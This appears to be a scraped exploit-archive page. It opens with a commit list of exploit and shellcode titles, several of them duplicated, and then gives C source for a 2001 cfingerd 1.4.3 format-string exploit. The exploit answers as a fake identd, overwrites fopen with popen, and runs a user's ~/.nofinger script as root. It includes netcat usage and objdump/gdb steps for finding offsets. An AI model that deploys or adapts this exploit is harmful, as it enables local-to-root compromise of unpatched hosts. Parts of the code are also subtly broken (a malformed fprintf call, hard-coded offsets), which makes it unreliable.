880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
95 lines
No EOL
3.4 KiB
C
95 lines
No EOL
3.4 KiB
C
// source: https://www.securityfocus.com/bid/2914/info
|
|
|
|
cfingerd is a secure implementation of the finger daemon. cfingerd has been contributed to by many authors, and is maintained by the cfingerd development team.
|
|
|
|
A buffer overflow in cfingerd makes it possible for a local user to gain elevated privileges. Due to insufficient validation of input, a user can execute arbitrary code through the .nofinger file.
|
|
|
|
This makes it possible for a local user to gain elevated privileges, and potentially root access.
|
|
|
|
/************************************************************
|
|
|
|
http://www.infodrom.ffis.de/projects/cfingerd/ states:
|
|
|
|
Cfingerd is a free and secure finger daemon replacement for
|
|
standard finger daemons such as GNU fingerd or MIT fingerd.
|
|
|
|
April 11, 2001 Megyer Laszlo < abulla@freemail.hu > wrote:
|
|
|
|
In 3 words: REMOTE ROOT VULNERABILITY
|
|
|
|
|
|
idcf.c - July 11 2001 - happy 3 month anniversary!
|
|
|
|
|
|
cfingerd 1.4.3 identd based localish exploit ;]
|
|
no shellcode required if you have a local account
|
|
make a script in ~/.nofinger that you want to be
|
|
executed as root.
|
|
|
|
it works by diverting the fopen call to popen. of
|
|
course it won't help if you don't already have a
|
|
local account but well, its just a proof of concept
|
|
and I think it's cute, and the more exploits there
|
|
are against an unpatched system, the more likely (I
|
|
hope) it will get patched. Would be nice if it worked
|
|
that way anyway.
|
|
|
|
./idcf|nc -l -p 113
|
|
on a box you have root on, and finger you@otherhost
|
|
to use.
|
|
|
|
this is hardcoded for four letter names, but shouldn't
|
|
require rocket science to make work for others.
|
|
Hint: offset and padding : format strings are fun.
|
|
|
|
|
|
|
|
M4D PR0PZ T0 :
|
|
|
|
Steven for showing me da bugz
|
|
noid 4 b3in6 7h3r3 wh3n no1 3153 w4z
|
|
grue 4 lurking, g00bER 4 something
|
|
and the rest of #roothat @ irc.pulltheplug.com
|
|
|
|
4150 70 mp3.com 4 http://mp3.com/cosv
|
|
|
|
***********************************************************/
|
|
|
|
// The offsets are from a version i compiled just to
|
|
// test the vulnerability and so will most likely not
|
|
// work for you.
|
|
|
|
// get this from objdump -R cfingered|grep fopen
|
|
#define OVER 0x0805532c
|
|
// get this from objdump -R cfingerd|grep popen
|
|
// and then gdb cfingerd and x/x 0xoffset from objdump
|
|
#define WITH 0x080491ba
|
|
|
|
#include <stdio.h>
|
|
main(int argc,char*argv[])
|
|
{
|
|
int z0=0,ovrw=OVER; // address to overwrite with pass 1
|
|
int z1=0,ovrw1=OVER+2; // address to overwrite with pass 2
|
|
int slen=strlen("evil fingered from ")+9;
|
|
int addr=WITH; // what to overwrite the address with
|
|
int offset=20; // where the first address is on the stack
|
|
int a1,a2;
|
|
FILE *f;
|
|
f=fopen("/etc/motd","w+");
|
|
if(!f)
|
|
{
|
|
fprintf("You must be root to use this exploit.\n");
|
|
exit(1);
|
|
}
|
|
a1=(addr&0x000ffff)-slen; // 1st number of bytes
|
|
a2=(0x10000+(addr>>16)-a1-slen)&0x0ffff; // 2nd number of bytes
|
|
printf(":::A%s%s",&ovrw,&ovrw1); // header/padding/addresses
|
|
printf("%%%ux%%%d$hn%%%ux%%%d$hn\n" // formatstring itself
|
|
,a1,offset,a2,offset+1);
|
|
fprintf(stderr,"Visit http://mp3.com/cosv/ today!\n");
|
|
fprintf(stderr,"And mebe visit your account on the other machine.\n");
|
|
fprintf(stderr,"after you finger it.\n");
|
|
fprintf(f,"Visit http://mp3.com/cosv/ today!\n");
|
|
fclose(f);
|
|
|
|
} |